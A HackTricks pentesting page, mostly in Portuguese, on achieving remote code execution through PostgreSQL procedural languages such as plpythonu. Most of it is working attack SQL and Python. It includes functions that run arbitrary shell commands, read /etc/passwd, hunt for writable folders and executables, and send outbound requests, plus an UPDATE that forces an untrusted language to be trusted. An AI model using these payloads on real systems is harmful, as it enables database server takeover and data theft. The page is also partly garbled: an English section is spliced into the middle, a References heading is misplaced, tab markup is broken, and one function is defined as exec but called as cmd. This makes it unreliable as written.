hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
2023-06-06 18:56:34 +00:00

10 KiB

Linguagens do PostgreSQL

O banco de dados PostgreSQL ao qual você obteve acesso pode ter diferentes linguagens de script instaladas que você pode abusar para executar código arbitrário.

Você pode fazê-las funcionar:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

A maioria das linguagens de script que você pode instalar no PostgreSQL tem 2 versões: a confiável e a não confiável. A versão não confiável terá um nome terminado em "u" e será a versão que permitirá que você execute código e use outras funções interessantes. Estas são as linguagens que, se instaladas, são interessantes:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (qualquer outra linguagem de programação usando uma versão insegura)

{% hint style="warning" %} Se você descobrir que uma linguagem interessante está instalada mas não confiável pelo PostgreSQL (lanpltrusted é false), você pode tentar confiar nela com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

{% endhint %}

{% hint style="danger" %} Se você não vir um idioma, pode tentar carregá-lo com (você precisa ser superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

{% endhint %}

Observe que é possível compilar as versões seguras como "inseguras". Verifique isto como exemplo. Portanto, sempre vale a pena tentar se você pode executar o código, mesmo que encontre apenas o confiável instalado.

plpythonu/plpython3u

{% tabs %} {% tab title="RCE" %}

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.popen(cmd).read()
    #return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

{% endtab %}

{% tab title="Obter usuário do sistema operacional" %}

CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless

{% endtab %}

{% tab title="Listar diretório" %}

CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import json
    from os import walk
    files = next(walk(dir), (None, None, []))
    return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir

{% endtab %}

{% tab title="Encontrar pasta W" %}

CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        writables = []
        def find_writable(path):
            if not os.path.isdir(path):
                return
            if os.access(path, os.W_OK):
                writables.append(path)
            if not os.listdir(path):
                return
            else:
                for item in os.listdir(path):
                    find_writable(os.path.join(path, item))
        find_writable(path)
        return writables
    
    return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)

{% endtab %}

{% tab title="Encontrar Arquivo" %}

CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path):
                executables.append(path)
            
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    
    a = my_find("/")
    b = []

    for i in a:
        if exe_sea in os.path.basename(i):
            b.append(i)
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file

{% endtab %}

{% tab title="Encontrar executáveis" %}

CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path) and os.access(path, os.X_OK):
                executables.append(path)
            
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    
    a = my_find(dir)
    b = []

    for i in a:
        b.append(os.path.basename(i))
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)

{% endtab %}

{% tab title="Encontrar exec por subs" %}

CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path) and os.access(path, os.X_OK):
                executables.append(path)
            
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    
    a = my_find("/")
    b = []

    for i in a:
        if exe_sea in i:
            b.append(i)
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring

RCE with PostgreSQL Languages

PostgreSQL allows the creation of new languages that can be used to write stored procedures. This feature can be used to execute arbitrary code on the server.

Creating a new language

To create a new language, you need to be a superuser or have the CREATE LANGUAGE privilege.

CREATE TRUSTED PROCEDURAL LANGUAGE 'plpythonu' HANDLER plpython_call_handler;

Writing a stored procedure

Once the language is created, you can write a stored procedure in that language.

CREATE OR REPLACE FUNCTION rce() RETURNS void AS $$
import os
os.system('/usr/bin/id > /tmp/rce')
$$ LANGUAGE plpythonu;

This stored procedure executes the id command and writes the output to /tmp/rce.

Calling the stored procedure

To call the stored procedure, you can use the SELECT statement.

SELECT rce();

This will execute the rce stored procedure and write the output to /tmp/rce.

Cleaning up

To remove the language, you can use the DROP LANGUAGE statement.

DROP LANGUAGE plpythonu;

References

CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
    import base64
    encoded_string= base64.b64encode(open(path).read())
    return encoded_string.decode('utf-8')
    return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64

{% endtab %}

{% tab title="Obter permissões" %}

CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    status = os.stat(path)
    perms = oct(status.st_mode)[-3:]
    return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file

{% endtab %}

{% tab title="Requisição" %}

CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
    import urllib
    r = urllib.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
    from urllib import request
    r = request.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

pgSQL

Verifique a seguinte página:

{% content-ref url="pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

C

Verifique a seguinte página:

{% content-ref url="rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥